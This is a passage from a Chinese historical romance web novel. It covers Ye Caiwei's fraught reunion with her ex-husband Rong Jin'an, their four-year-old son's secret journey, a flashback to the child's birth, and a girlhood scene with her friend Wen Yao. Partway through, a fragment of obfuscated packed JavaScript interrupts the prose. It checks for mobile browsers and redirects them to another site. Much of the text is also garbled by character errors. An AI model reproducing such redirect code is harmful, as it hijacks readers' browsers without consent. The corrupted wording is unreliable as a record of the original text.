这一次,她也被牵连进了舞弊案,关进牢里,杳无音讯。 没有人提起她。 众人散去后,叶琛又悄悄跟上了奚家家主,在连廊的角落中,听懂了他对梅若雪的暗示——奚家虚伪至极,表面许下承诺,实际上却根本不会出多余的钱和力,尽情敷衍搪塞,任凭事态发展。 叶琛失望透顶,被当头泼了一盆冷水,也燃起了另一重火。 锦上添花弹冠相庆,一旦出了事,所有人都会只顾自己,没有人在意阿娘的死活。阿娘生他教他,养育他爱护他,是他唯一的亲人,他不可以坐以待毙。 即使,他才只有四岁,在那些道貌岸然之人的眼里,他除了玩耍哭闹吃吃喝喝外,什么也做不了——就算到最后,他真的救不了阿娘,拼尽全力,他也一定要见上阿娘一面。告诉她,他会带着阿娘的冤屈好好活下去,将来出人头地,为她正名、为她报仇雪恨。 奚府大宅里,他很快就被嬷嬷找到,嬷嬷不敢指责他的顽劣,刻意掩饰他不见人影的这段时间。被带回别院的路上,叶琛发现了机会。 他趴在马车的车窗,向外张望,几个人进入了他的视野。 这几个人的脸他都认得,当时在正堂里,就数他们几个闹得最凶,因为他们的家人,是这次唯——个被扣上了夹带作弊罪名的考生,名叫佟归鹤。 叶琛对佟归鹤的印象颇深,因为他是阿娘唯——次带自己上街,在街边买面具时,与他们在摊位上偶遇的那个学生。叶琛记得,当晚佟归鹤说他看中的狸猫势小,不如万兽之王的猛虎,阿娘看着他,微微变了脸色。 此时,得到重诺的佟归鹤家人却垂头丧气,原来他们和叶琛的感受 样,发现奚家家主和青莲书院的山长喘上家言壮语,然而态度却十分消极,佟家几代单传,只有佟归鹤这一个儿子,可不能有半点差 池。 叶琛听出来,佟家人想自己上应天去,找到门路,搭救佟归鹤,而不是留在东流死等。 幸好佟家宅子距离别院不远,叶琛下定了决心,安然返回别院之后,便趁着下面的人不注意,从早就挖好的狗洞中溜了出去。 离开别院,正好赶上佟家人收拾好了出远门的行装,叶琛小小年纪身手敏捷,看准时机,便上了拉货的斗车,钻到箱笼的缝隙中,谁也看不出来。马车和斗车很快启程,匆匆赶往应天。 *** 叶采薇醒来时,床榻上只有她一人。 昨晚的后来,她还是沉沉入睡,睡着了,癸水的坠痛也因此缓解不少,她一夜无梦,不知容津岸是否保持了一整晚半抱着她的姿势,也不知他早晨,是什么时候起的床。 叶采薇睁开眼,一眨不眨地盯着面前雪白的墙壁,直愣愣好一会儿,忽然生出一丝可耻的胆怯来。也许是一直以来,她习惯了他的冷漠他的尖酸,他们两人的剑拔弩张恶语相向,他突然捧出了温柔,她竟不知该如何面对。 坦然接受,顺着他? 还是借机抓住他的痛脚,再来一番落井下石?何况这房里可能还有监听,她要怎么说才算完美呢? 后面传来一些响动,间杂着多味的药气和血腥气,叶采薇皱 了皱鼻尖,从床榻上翻身,半支起,身上的衾被从香肩滑到腰腹。只见容津岸正面对着她,搬了一只高脚圆杌在床边,大剌剌坐在上面。 他的中裤是栗色的,自在而利落地垂下,倒是纤尘不染;雪白的中衣毫不设防地大开着,将其中的无边光景袒露在叶采薇的面前: 容津岸的皮肤很白,但难得十分紧实,虽然看似清瘦,目光往下,却很难让人忽视那些壁垒分明的肌块—— 纵然那些肌块一大半都被包扎的纱布所掩盖,但仍旧可从边缘窥见端倪。 以文入仕的年青权臣半垂着眼,纱布在他长指间穿梭,他打结时从容不迫,没有半点凝滞。 如果不是叶采薇看到圆杌的脚边落满了血淋淋的纱布,她肯定会以为自己先前生出了幻觉,她根本没有捅伤他,也根本没有伤得那样深。 “换药包扎,如此熟练,是在哪里学的?”她一面慢吞吞下床,问他。 而容津岸换药包扎已然结束,他利落打上了最后一个结,抬头,淡然疏懒地睃了她一眼: “叶先生是在审问我吗?我与你早已和离,你我无甚瓜葛,这些年我都做了什么,不需要向你交代吧?” 寥寥数语,却足以浇熄叶采薇心头隐隐点燃的光焰。昨晚他难得的温柔只是错觉,这个人本质恶劣—— 她又想起了监听,顿觉方才那个问题十分不妥,深深吸了一口气,也并不打算和善回应,扯出一抹阴恻恻的笑容来: “是,反正我也只是捅了你一下,没有要你的命,如此随意过问你的私隐,到底是我僭越了。” 叶采薇也不理他了,径自去漏室换月事带。暗自祈祷着,今日的癸水争气一些,可不要再继续痛下去,料理了许久,出来时,容津岸已经将包扎的一地狼藉全部收拾好。 这人受了重伤,动作还这么快。 他旁边的小几上,热腾腾的汤药只剩一个碗,他从衣架上取下那身蓝紫色的二品官袍,长臂慢条斯理地往里套。既然可以穿上官府,那必然是已经洗脱了与万建义相关的罪名,叶采薇心头一热,三步并作两步来到容津岸的面前,睁大杏眼:“我和问鹂,我们可以出去了?” 容津岸一眼看穿了她那不切实际的想法,施施然:"是六皇子不计前嫌,愿意给我一个戴罪立功的机会。"叶采薇—听就皱起了眉头,手却被他抓起。 "叶先生,当年是你主动退了六皇子的婚,恶有恶报,殿下可不会给你这个机会。" 容津岸玩味又清冷的眼神投下来,还是那样一张俊朗无匹的脸,叶采薇却总觉得,仿佛确乎少了几分张牙舞爪的戾气。他在她的手心,写下了一个“保”字。 叶采薇将柔荑收回,紧紧盖住了手心。“保”字,算是他对她昨天的疑问,正式的回答吗?她写给他的“鸟”字指代的三人——问鹂、见雁、佟归鹤,他都能保全? 他有这么大的本事,为什么不让她出去呢? 无法细问,她想求证的问题不可胜举。 比如这个案子的进展如何、什么时候能有眉目,她和他们,要被困到哪一天才算是个头?比如他背后究竟是谁,三皇子、六皇子,还是谁都不是? 还有,他到底能不能食用花生,云里雾里的事实,到现在她还是没有得到确切的答案。 最后一个问题的题面,在当晚就被端了出来。晚膳是两个人一起吃的,还是简单的饭菜,又有那道茴香拌花生 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“可以呀,一直都可以的,可以很久了。叶先生,你说我是灾星,这件事,难道不是因为你被那个万夫人的眼泪迷晕了心软了?怎么还能怪到我的头上呢?” 容津岸是个向来清高孤傲之人,眉宇眼眸间,难得笼上这等志得意满的烟云。他如此大言不惭,叶采薇已经万分确定,此人已经可以随意食用花生了。那么问题又来了。 如果说,昨天他在逮捕的官兵面前装病,是为了拖延时间的话,那前几日,就在这里,他在她面前故意装病,是为了什么?让她亲手给他喂药? 还有就是…… 叶 采薇不由想起了,那个混合着浓浓药气的热吻。明明是他禁锢着她,要吻得难舍难分,放开后,也是他一脸无所谓,略带嫌弃地评价“稀松平常的味道”。 还有,他故意找理由把她留着,和他同榻入睡,是为了治疗他难以入眠的毛病!这个狗东西! 哪里是属猪的,明明就该属狗! 狗东西狗东西! 叶先生,你和你的学生们,师生之情感天动地,我也是见识过好多回了。”叶采薇点漆 般的杏眸里变幻万千,容津岸却像稳稳停靠的孤舟,坦然极了,他顺着自己的话,继续说下去:即使,你真如你所愿,带着问鹂和见雁离开应天,到了其他地方,听说你的学生们、尤其是佟归鹤出了事,你还能坐得住?不会立刻马不停蹄赶回来?” 仿佛早已将她看穿。 叶采薇掐着掌心,只想狠狠反驳他,又觉得他似乎说得很对。 那流光溢彩的杏眸里终于泛起了红色,她瞪住他,下.腹却突然绞一般坠痛,额头和后背,都冒上了冷汗。 尽管话都说不出来,叶采薇脾性刚硬,也绝不可能在这个时候服软。她还在生气,生了大气! “流这么多汗?”容津岸显然看清了沿着她光洁的面颊滑落的汗珠。 前前后后隐瞒她利用她,现在假惺惺的关心,把她当什么了?叶采薇仍旧死死盯住他,而早上的祈祷,终于在这个关键的时候见了效。坠痛如潮水般退却,给她留下了一身的冷汗。 她在心头暗暗舒了口气,收回了视线,继续没有吃完的几口晚膳。容津岸见她不理他,也不再说话。两厢沉默,双方剑拔弩张的炮火,就这样被强行熄灭。 然而叶采薇心头的怒气并未消解,想到房中还有的监听,她又不能发作——如若真的对他发作,必然会说出许多不能被旁人听到的话来。 “我告诉你,”她先行下桌,兀自去福室洗漱,“不是不报,时候未到,你总有一天,会落得个身败名裂的下场。” 容津岸仍旧坐在原处,沉默。 一双眼漆黑如洞,看着自己的前妻兀自忙碌,故意弄出很大的声响,噼里啪啦,像年节时分,被一点就着的爆竹和炮仗。 他看着她上了榻,缩在里侧,用曼妙却倔强的脊背对着他,再也不发一言,陷入沉睡。容津岸的喉结动了动。 其实,就连他自己也无法判断,向她承认他早就可以食用花生,到底是对还是错。他确实有许多事瞒着她,但她不也有许多事瞒着他吗? 这间房里的监听,据柴先生所说已经被撤去,他不敢完全笃定,只能和她继续保持着这样敌对的状态。会把她越拉越近,还是越推越远呢? 此生所有的不确定,皆出自叶采薇。 容津岸微不可察地叹了口气,也站起来,缓缓行动,去福室将自己清理干净之后,上榻。方才她突然冒冷汗,是因为癸水的剧痛吗? 他还是伸了手过去,想像昨晚一样。谁知还没碰到她的玉臂,却被她不动声色地避开了。容津岸哑然失笑。 小老虎气性可真大。 当年他们还在一起读书的时候,她虽然是经常主动找他说话的那个,但时不时,他也不知道自己说了什么,就惹得她生气。 她生起气来宛如猛虎出笼,圆头圆脑,湿淋淋的眼里裹着火,连耳根都红起来,不管不顾狠狠踩他一脚,然后扬长而去。知道他不喜欢吃甜的,故意让柳姨安排一桌甜腻腻的吃食。又跟奚子瑜他们玩闹到一处,什么话都说,还说得很大声,要让他听得 清 楚,偶尔一个眼神飞过来,那个恼怒,恨不得把他身上的肉都一片一片割下来。 他把自己说过的每一个字都仔仔细细抠了一遍,还是想不明白哪里惹到她了。等到她折腾够了消停下来,又偷偷去找他,挂在他的身上,主动喋喋不休,他到底错在何处。 这么多年过去,早就不是待字闺中的小姑娘了,怎么还和当年一样?不对,不对。 五年前的冬天,腊月时节,冰天雪地。 阴霾霾的天色,昏沉沉的浓雾,叶采薇被暗色的斗篷整个罩住。她双臂抱紧,把斗篷视作保护包裹她的壳,朔风阵阵,吹起她干枯的鬓发和颤抖的羽睫,吹得她的斗篷愈发空空荡荡。 烟涛微茫,她白生生一张小脸,唇色暗红,眼眸被浓雾缭绕,茫然而麻木地,望向京城之外的地方。茕茕子立,踽踽独行。 他想要送她,被她冷淡拒绝。和离之后,一别两宽,死生不复相见。 现在,她生起气来,又是龙腾虎跃的模样。她应当已经从叶渚亭的阴影中走出来了,往前看。 想到这里,容津岸心口的郁气彻底消解殆尽。 他撑着眼,准备等她入睡。等她入睡了,他就可以像昨晚一样,从背后拥着她,用手掌炽热的温度,来帮她化解癸水的疼痛。亲密又疏远,体贴却冷漠。 容津岸一直在等着,越夜越沉郁,因她而起的诸多回忆和念头,竟一点一点褪却,徒留空白。不知道过了多久,叶采薇忽然翻了个身。 她靠过来,伸出双臂,主动缠住了他的脖子。“容安……容安……”她喃喃。 34、诞 在下定决心与容津岸和离时,叶采薇便知晓,自己再不可能留在京城了。她一度想回到绩溪老家生活。虽然她在不满两岁的时候就离开了绩溪,但那里有叶家的祖宅,还有母亲姚氏的坟茔,总能托起她空荡荡的魂灵。 但转念一想,叶采薇还是放弃了这个念头。 容津岸是歙县人,绩溪与歙县相邻,若回到绩溪,容津岸的阴影,仍旧会如影随形,还有游秀玉,她和这个前任婆母生了太多姐龋,她只想和他们彻底切割。 再也不见。 可是,不回绩溪,又能去哪里呢? 奚子瑜给她出了个主意。 原来,他已经辞了输林院的职不再为官,准备回东流老家继承家中的产业。奚子瑜为她分析,说她一个女子,身边仅两个贴身婢女,又带着和离后变卖的无数财产,就算再谨慎小心,危险也很容易自己找 上门。 叶采薇觉得他的话很有道理,没问他为什么要把好不容易考到手的功名丢弃,大恩不言谢,随他一并到了东流。 到了东流,奚子瑜又抬出了两人的祖父曾同为内阁阁臣这段渊源,让叶采薇主仆三个安心住在奚家的别院里。叶采薇无数次坚持付钱,甚至提起买下这个别院,但奚子瑜总有无数个不同的理由,让她哑口无言。 那时候的快乐极少。 叶渚亭和叶家的事,几乎给了叶采薇毁灭性的打击。而与容津岸这段从她飞蛾扑火般主动最终走向分崩离析的婚烟,则是压垮沉船的最后一片落叶,她选择将那道门永久封闭,谁也不能提起。 无论是问鹂见雁,还是奚子瑜,抑或是常来和她作伴的、奚子瑜青梅竹马的未婚妻梅若雪。 梅若雪和叶采薇处得十分亲密,她总让叶采薇想起温谣来。 一样的腼映温柔,一样的善解人意,叶采薇由衷喜欢这样的姑娘。在她有些精神的时候,有许多次,她想提笔给温谣写信,但又旋即念及温谣的夫君孟崛与容津岸走得极近,最终作罢。 不多久,奚子瑜与梅若雪大婚,两人是青梅竹马,奚家又是东流第一望族,这场婚事盛大非凡,一时在东流成为美谈。 叶采薇为了低调,并未出席这场婚礼。旁观梅若雪忙前忙后筹备时,她偶尔会想起自己与容津岸的婚礼。被重重阴霾笼罩、堪称简陋—— 不过都已经是过去的事,奚子瑜和梅若雪有情人终成眷属,喜气还是令叶采薇好过了不少。 然而好景不长,她的身体又出现了变化。 其实在京城时,叶渚亭暴毙狱中之后,叶采薇便已经不太好。 时而浅眠多梦,时而一睡不起;时而吃不下任何东西,时而暴饮暴食,吃下又吐掉;整日整日,疲之无力,对什么都提不起兴趣,偶尔腰背和四肢关节疼痛,眩晕,胸闷。容津岸为她请了许多名医,都说她是忧思过重,施针吃药是治标不治本的,需要她自己走出来。 但……她和他尝试了许多办法,始终不见好转。就这样吧。 到了东流,奚子瑜夫妇大婚之后,初初她也以为还是跟原来一样,无关痛痒的毛病,挺挺就过去了,不打算告知旁人。是见雁,她实在看不过眼,悄悄告诉了梅若雪。大夫来到别院,为她诊脉,却告诉她她已经有了三个月的身孕。 身孕,身孕……是容津岸的孩子。 在她下定决心和他切割干净、下定决心将那道门永久锁死的时候,上天却突然伸了手,要用她和他的血脉,强行把这道门挤出一道缝隙来。有光,有雾,更多的却是无穷无尽的黑洞。 叶采薇并没有犹豫,选择保下这个孩子。 原因其实很纯粹。 为了尝试自救和转移注意力,也为了给这个世界留下点什么,那个时候,叶采薇已经开始着手准备,将多年来的学习和钻研,撰写成自己的著作。孩子,著作,都是她倾注了心血和精力,一点一点、一手一脚供养长成的,著作是独属于她的,孩子……就当他从出生起,便没有父亲吧。 她不会再想起关于容津岸的任何事,他在她心里已经死了。 怀胎十月,日日艰辛。 从前喜爱的食物变成了逆鳞,一闻到气味便会恶心呕吐,她吃不下任何东西,但为了有力气多翻阅古籍、多写几页笔记,她强忍住恶心,也坚持进食; 很早开始整夜整夜失眠,为了不让守夜的人发现,她连翻身都很少,一个人躺着,有时候会忽然以为容津岸就在她的身边,习惯性地摸过去,却摸到床榻空空荡荡,心也跟着荡,不知是失望还是庆 幸。 她每天都要翻阅大量古籍典章,伏案撰写笔记,手腕、腱销和腰背都疼得厉害,梅若雪专门为她请了按摩调理的姣嬷,问鹂也跟着学习了很多手法,但都对她的不适见效不大;两条纤细修长的腿,慢慢开始浮肿,肿得不像话,好似发面的馒头,一按一个深坑;半夜里经常被抽筋疼醒,她咬牙强忍,不想吵到守夜的问鹂和见雁,却也有忍不住的时候,动静上来,惹得两个婢女一边掉眼泪,一边帮她按摩放松。 日子过得极快,比叶渚亭出事后快多了; 日子又过得极慢,从前一眨眼便是匆匆一年,如今短短 半年,却熬也熬不过去——时光是公平的,就在她为了著作作准备的笔记即将就绪的时候,腹中一天天长大的孩子,也即将临盆。 夏末的天,从午后便开始下起了昏昏沉沉的雨,越下越大,渐成滂沱。叶采薇在书案前整理笔记,手臂抽筋,她快要握不住笔,仍在坚持。后来,高高隆起的腹部开始作动,她难以忽略,那些有节奏的、越来越难以抑制的痛处,蔓延至四肢百骸,像是要将她吞没一般。 她被早已待命的稳婆抬回了产床上,开始直面生产的痛苦。 除了下腹,还有两股内侧和脊柱,灼伤感与剧痛相互勾结,不断蔓延,从暮色四合,一直到后半夜,一刻未有停歇,愈演愈烈。叶采薇疼到快要失去意识,羊水哗啦啦往外流,将床单和被褥全部打湿。 几个稳婆进进出出,忙忙碌碌,好像梅若雪也闻讯赶来,她也已经有了身孕,她的乳母嬷嬷百般劝阻,不让她进产房看望叶采薇。产房内,问鹂和见雁涕泗满颐,一左一右抓着她的手,让她一定、一定要坚持下去。 一路走来,她已经咬牙坚持了这么久,千万千万不能放弃。 她们,还有那个即将出世的孩子,都不能失去她。她是她们的主心骨。 流血,流血,不停流血,叶采薇流了好多好多的血。 她的力气用尽了,血水汗水和泪水浸透了她满头的乌发,把她的视野和意识都糊作了一团。她只能勉强听到,几个稳婆在焦虑不安中窃窃私语,说胎儿头太大,位置又有些异常,饶是经验丰富如她们,也快要束手无策。 是要走投无路,母子俱亡了吗? 叶采薇双耳发麻,指尖都在尽力,她死死咬着开口中已经冗烂不堪的布条,牙关止不住打颤。从前她无数次想过死。 在她视若神明的父亲叶渚亭突然下狱、暴毙狱中后,她无数次想过死;在与容津岸和离、来到东流后,她也无数次想过死。 她痛恨自己拥有远超常人的记忆,在夜深人静时,无数清晰的、快乐的、道遥自在的回忆死死扒住她的脑海,像奔流入海的浪潮浑浑占据,曾经的快乐越甚,越让她痛不欲生,一想到那些欢乐的时光一 去不复返,再也没有那样好的日子,她便恨不得扎进死亡里,再也不要面对、再也不要承受这种苍白的痛。 但现在,她忽然不想死了。 她有尚未完成的作品,刚刚起了纲,还没有填充血肉;腹中的胎儿即将来到人世,她和他相识已久,却连面也还没见上。都是她的,都是她的。她也许可以再试一试,不可以死。 生产几乎经历了一整个日夜,叶采薇被抽干了精力,在她即将彻底昏睡过去的时候,见雁把她拼了命诞下的孩子,抱了过来。襁褓是朱红色的,绣满了寓意多子多福的葡萄纹,包裹着瘦瘦小小的一团。小婴儿醒着,不哭不闹,安安静静。皱巴巴的一张小脸,但一眼看过去,却几乎和容津岸生了一个模子,长大后,一定是个迷倒众生的英俊儿郎。 叶采薇不知为什么想到这些,忍不住眉目舒展,扯出了一丝极度虚弱的笑容。小婴儿看到自己的娘亲笑了,一对乌溜溜的眼珠转呀转,亮晶晶地看着她,也裂开嘴笑了。 那一刻,“容安”两个字钻入了叶采薇的耳朵,她想了想,没给儿子起好大名,先定下了“容安”这个表字。 四年之后,因为种种原因,她再次和儿子的父亲同床共枕,癸水的疼痛退潮,却引得身体回忆起生产时的疼痛,模糊了她的意识和意志。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871964|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五年的时光,容津岸对她背后之事一无所知,就像他的事,他也不让她知晓。 床榻的尺寸距离,非泾非渭,叶采薇原本一直背对着他,却忽然翻了个身,缓缓靠近,再靠近。她伸出了双臂,像春光里的藤萝,主动缠住了他的脖子。“容安……容安……”她反复喃喃这两个字。 容津岸知道她在说什么。 这两个字,是当初他离开歙县前往京城读书时,和游秀玉约定好的暗号。 他的父亲虽然和叶者亭是同科进士,但母亲游秀玉却不识字,看不懂他长篇累牍的家书。当年父亲赴京赶考时,曾教母亲“容安”二字,如今轮到容津岸上京,他也效仿父亲,只要母亲见到这两个字,就能放心他在京城一切安好。 叶采薇是唯——个知道这件事的人。 她在一岁时便失了母亲,因此也对每一个身为母亲的长辈都有着天然的亲近和喜欢,对柳姨、对温谣的母亲张氏皆是如此。 游秀玉是容津岸的母亲,丧夫丧子后又含辛茹苦把他培养成才,叶采薇得知了“容安”二字的原委后,更是对这个索昧谋面的母亲,生出了无限的向往和亲近。 她郑重承诺过,日后他们成了婚、把游秀玉接到京城来,她一定会像侍奉亲生母亲那样侍奉她。 不仅如此,从她知晓“容安”的原委起,在他寄回给游秀玉的家书中,她总要添上一份自己的体己银钱,好让一个人在歙县生活的游秀玉,生活好过一些。 叶采薇看似风风火火,但她同时也敏.感细腻。 香霆锦帕对于农妇是不切实际的身外之物,她不擅女红,却虚心向柳姨学了很久,亲手做了护 膝护腕;她知道游秀玉冬日里常生冻疮,拐着弯从温谣的母亲张氏那里买来鹅绒,用作填充手套,最能保 暖;还有厚实防汗的鞋底,舒软耐磨的袜子—— 无一例外,都被叶采薇一针一线,绣上了“容安”两个字,随他的家书一并寄去歙县。 后来即便游秀玉对叶采薇有诸多不满,提起这些事,她也不得不由衷感慨“采薇是个难得的好姑娘,只是……” 容津岸深深地看着怀里的姑娘。 她是睡得迷迷糊糊产生了幻觉,以为现在还是当年,他和她在一起读书的时候? 月光稀薄,轻轻浅浅地洒,叶采薇清秀如玉的面上像是笼上了一层纱。 远山一样的眉,缥缈微茫,眉头淡淡蹙起,映衬着薄薄的、紧阖的眼帘。又长又浓的羽睫像两弯黑羽,乖巧而房弱,趴在她凝脂一般的脸颊上。是她主动环住他脖子的,带来馨香满怀,她的身上总馥着若有似无的体香,比任何熏香花香都要好闻。 "容安……容安….…" 她的鼻头小巧,微微发红,唇瓣是樱桃一样的,此时因为低喃而颤动,将贝齿欲说还休。容津岸忍不住伸出长指,点在她红唇中间最娇嫩的地方,轻轻摩挲。 "小猫?小老虎?"他喉结颤动,声音低哑。指腹的触感微妙,她并没有睁开眼。“停船暂借问,或恐是同乡。”他似吟如咏。 容津岸的另一只手沿着她单薄的脊柱下滑,按住那个深深的凹陷,又移到正面,覆住她的小腹。他不知道她还在不在疼,这样覆住,她能好受一些。 然后同时,那只摩挲她唇瓣的长指被湿热包裹,是她闭着双眸,将他的手指含了进去。 柔软的小舌和他指腹上的薄茧打架,她的眼帘微微颤动,欲张不张,他的指尖和指节陷入了她潮湿又温暖的口,指甲刮过软壁,又被她用小舌卷走,专心纠缠。 老虎是威猛的万兽之王,猫咪却是张牙舞爪的可爱灵兽,猫的舌头上长了倒刺,为了更好地清理毛发和辅助饮食。这样的舌头,在皮肤上舔舐,刺刺痒痒。 容津岸自己也不知道,他对她的称呼,是怎么从“小老虎”变成“小猫”的。他抽回了手指,放入自己的口中,细细品尝。 然而叶采薇似乎并没有打算放过他,环住他的手臂收紧,人也凑上来。淡淡的体香越来越浓。 “哥哥……哥哥……”她吻上他紧绷的下巴,轻软熨帖,香甜湿润。叶采薇是独女,也没有堂兄和表兄。 这个世上,她只会唤一个人“哥哥”。容津岸的心被狠狠地撞了一下,他再也忍不住,长指捏着她的下巴,放肆地吻了下去。 35、册子 嘉泰四十一年年底,嘉泰帝的生母、皇太后因病薨逝。 皇家丧期三年,六皇子本已及冠,因此耽误了大婚之藩,婚期推迟至嘉泰四十五年;而民间默认国丧一年,温谣与孟崛的婚事原本定于嘉泰四十二年秋,也被押后至嘉泰四十三年暮春。 朝堂上,一直暗潮汹涌。 嘉泰三十九年,时任户部尚书的叶者亭入阁,并加封太傅,太子党一片大好;但嘉泰四+一年年初,辽东宕尔桥之战大败,主张经营辽东的太子党收到重挫,叶者亭被迫退出内同,并调任礼部尚书,同年底,又逢皇太后薨逝,太子失去最大的靠山,三皇子齐王一党更加蠢蠢欲动,双方的争斗更加到了你死我活的地步。嘉泰四十三年,辽东局势进一步恶化,叶采薇关心天下大事、也关心叶渚亭在朝堂上的安危,几次与叶渚亭详谈,都被叶渚亭温言转移。 天下兴亡,匹夫有责,这是阿签从小教你的话,能被你一直践行至今,阿爹很欣慰。只是采薇你既没有居庙堂之高,也非处江湖之远,朝堂上的事实在太复杂,你的忧心忡忡并不能起到文际的作用, 反而为你自己平添烦恼,属实没有必要。" 叶渚亭这样劝她。 温谣不止一次发表过对叶采薇的美慕,谁不想有一个像叶者亭这样,学识广博又谆谆和蔼的父亲呢?何况叶者亭风姿隽爽貌比潘安,放眼整个京城官场无人可出其右,就算是天下男儿,也难有可以与之 匹敌者。 就是这样一个挑不出毛病的男子,又偏偏对亡妻一往情深,如今他已年过四+,仍旧风姿卓然,眉眼深邃内敛,眼角深深的桃花纹,就算是在严厉批评人的时候,也自有一番风流。 叶采薇讷然。 “温谣的婚事在即,你与她从小要好,原来三天两头就想往温府跑,”叶渚亭眼角的笑意更深,“把你关心朝政的心思放到温谣身上吧,阿爹不用你担心。” 后来,叶采薇回想起,那也确实是她最开心最自在的一段时光。 年多的坚持,容津岸总算被她拿下,两个人秘密的恋情跌跌撞撞,她虽然时常略感委屈,但绝大部分时候沐浴在甜蜜中,觉得人生多了许多从前没有的乐趣:而同时,她也是温谣和孟崛感情的见证 者,看着他们从相识相恋到如今修成正果,好一番美满甜蜜。 婚期将近,温谣又期待又紧张,自从被叶渚亭劝说后,叶采薇更是几乎日日都去温府上陪伴准新妇,和她一起忙着婚礼的筹备,与她说不完的话。 有一天,诸事皆顺,温谣突然把叶采薇拉进了闺房,所有伺候的仆妇婢女们都出去,房门紧闭,只留两个姑娘。她们脱了鞋上.床,缩在床角,像两只满怀松果的松鼠。温谣神神秘秘,从几叠软枕的最里处掏出了一样东西,拿给叶采薇看。 温谣的小脸红成了苹果,熟透的那种。她手里攥着的是用上好的软绢包着的几册,金栗笺的册封,仿南唐澄心堂的册纸,册上所画,尽是搓粉转朱的旖旎之景,活色生香,栩相如生。 温谣又打开绢布,摊开册子看了一眼,小松鼠像是被蛰了一下,连忙缩回来,用另一只手将册子上的内容全部捂住,张着眼睛道: “昨晚上睡前,阿娘偷偷塞给我的,我就看了一眼,赶紧收起来。” 其实,叶采薇和温谣都并非对男女之事完全懵懂无知。否则,嘉泰四十一年时,她们两个也不会 听勾栏瓦舍就变了脸,嘉柔公主稍稍煽风点火,就女扮男装亲自跑到青楼闹人。 不过……隐约知晓是一回事,亲眼看到细节又是另一回事。 几乎同时,叶采薇的脸也灼灼发烫起来。 手脚有些无措,尴尬的沉默里,她终于提起嗓子,哽了哽喉咙,哑着哑着小声说:“你……你收起来,就为了专门等我,一起看吗?”就好像小的时候,两个人之中有一个人灵机一动了什么绝妙的点子,也一定要坚持等到她们在一处时,才拿出来付诸行动,无论是好事还是坏事。 “阿娘千叮万嘱,一定要仔细看的,”温谣耳根红透,像是在回答她的问题,又像是答非所问,"教养嬷嬷也说,不好好看,最后吃亏的,是我自己……"话是这么说,温谣的手却仍旧死死捂住那册子上的画面。 她垂头,颇有点沮丧的味道,仿佛是还未从冲击中回神过来,吐了吐舌头:“薇薇,好吓人呀……” 一想到自己跟孟崛也要像册子上所画的那样,温谣就好像怀里揣了一只小兔子,扑通扑通跳个不停。 “真的、真的一定要这样吗?”她其实知道答案,只不过…..“给我看看。”叶采薇说。 其实,方才她只是晃了一眼白花花的画面,并不知道温谣口中的“吓人”到底指的是什么,温谣这样的表现,反而一下勾起了她的好奇心。温谣转头,凝视着叶采薇的侧脸。即使在这个无比尴尬的时刻,她仍然觉得叶采薇很好看,绿鬓朱颜,浮翠流丹,怎么看怎么好看。这一晃神,叶采薇也安抚似的拍了拍她那死死捂住册子的手背。 “肯定是你自己吓自己,册子而已,哪里可能是什么吓人的东西?”叶采薇故意说些激人的话。 温谣将眼帘紧闭, 像丢烫手山芋一样,把那册子塞到了叶采薇的怀里。 其实,叶采薇也并非没心没肺的胆大狂徒,她心里也在打鼓,只不过大话已经放出来了,若是再认怂求饶,可就要在国蜜面前丢脸了。她郑重接过册子,默默深呼吸,然后认真研读起来。 第一眼看清,她也被蛰了一下。 确实超出了她的想象…… 她慌乱中抬眸,又候尔沉下去,不敢直视温谣,余光中,这姑娘眉头还在蹙着,薄薄的眼帘紧阎,手指又细又长,快把那巾帕都搅烂了,根本不会察觉,近在咫尺的叶采薇也被吓到了。 于是叶采薇收回眼神,再次投入学习之中。 价值连城的封皮和纸长,所用的画工自然不菲,画出来的东西精致无比,每一个细节都清晰有序。叶采 只觉得头皮被绷住,浑身的血液速流而带起阵阵燠热,心跳也不自觉越来越快。偏偏,她要在温 谣面前装作淡定自若的样子,连翻页时的颤抖,被她刻意压住了。 好半晌,温谣再也耐不住性子,终于睁开了眼。 她见叶采薇的双颊双耳早已比自己的还红,忍不住取笑:"看不下去别硬撑,承认吧,你也害怕了,薇薇。" 被闺蜜一语道破,叶采薇羞赧极了,她挑眉:"我、我害怕什么?" 为了掩饰自己的色厉内荏,她干脆将册子翻过来,正对着温谣的双眼,保证她能看清楚:“这个、这个、还是这个?” 削葱根的指尖一个一个指:“原来呀,这事还可以有这么多的花样,谣谣你还在害怕,若不赶紧好好学习,到洞房那天,可不得让孟崛笑话你!” 直面那些,温谣尖叫一声,死死捂住自己的双眼:“叶采薇你不害臊!”然后又觉得不够解气,劈手就把叶采薇此刻大剌剌拿在手里展示的册子夺过,瞠目反讥:“别光说我呀,既然你已经认真学习过了,什么时候,也找你的容公子亲自实践实践?检验一下你的学习成果如何?” 说完,温谣自己也忍不住翻开了册子,视线垂下,好奇而又小心翼翼地自己看了起来。几息之后,却不见叶采薇反应,不似她风风火火的脾性,温谣抬眸,入眼便是叶采薇粉腮红润的娇靥,就连那双流光溢彩的杏眼,也泛着红。 温谣将册子扔到一边,连忙扑过去,虚虚环住叶采薇不堪一握的腰肢,小脸埋在她的肩膀,闷声闷气: “薇薇对不起,是我口不择言,不该说那样的话。” 尽管叶采薇是国阁女子中的异类,但到底并非绝世脱俗,也有自己的底线和顾虑。先前,叶采蔽与六星子退婚的谣言闹得满城风雨,坦堪一年才好不容易停歌,自己身为她的国蜜,却拿这种事来开她的 玩笑,实在过分。 心头愧怍丛生,温谣蹭了蹭叶采薇的肩窝:“薇薇,不要生谣谣的气,好不好?” 叶采薇被她蹭得着实有些痒,哑然失笑,拍拍她的后背:"想什么呢,谣谣的话有哪句不对吗?我可不会生谣谣的气。"她当然猜到温谣顾虑的事。 “不生气?”温谣闻言抬起蝽首,乌黑的鬓发被蹭得乱蓬蓬的,像只俏皮可爱的茸兔,“那……你眼睛红什么?” 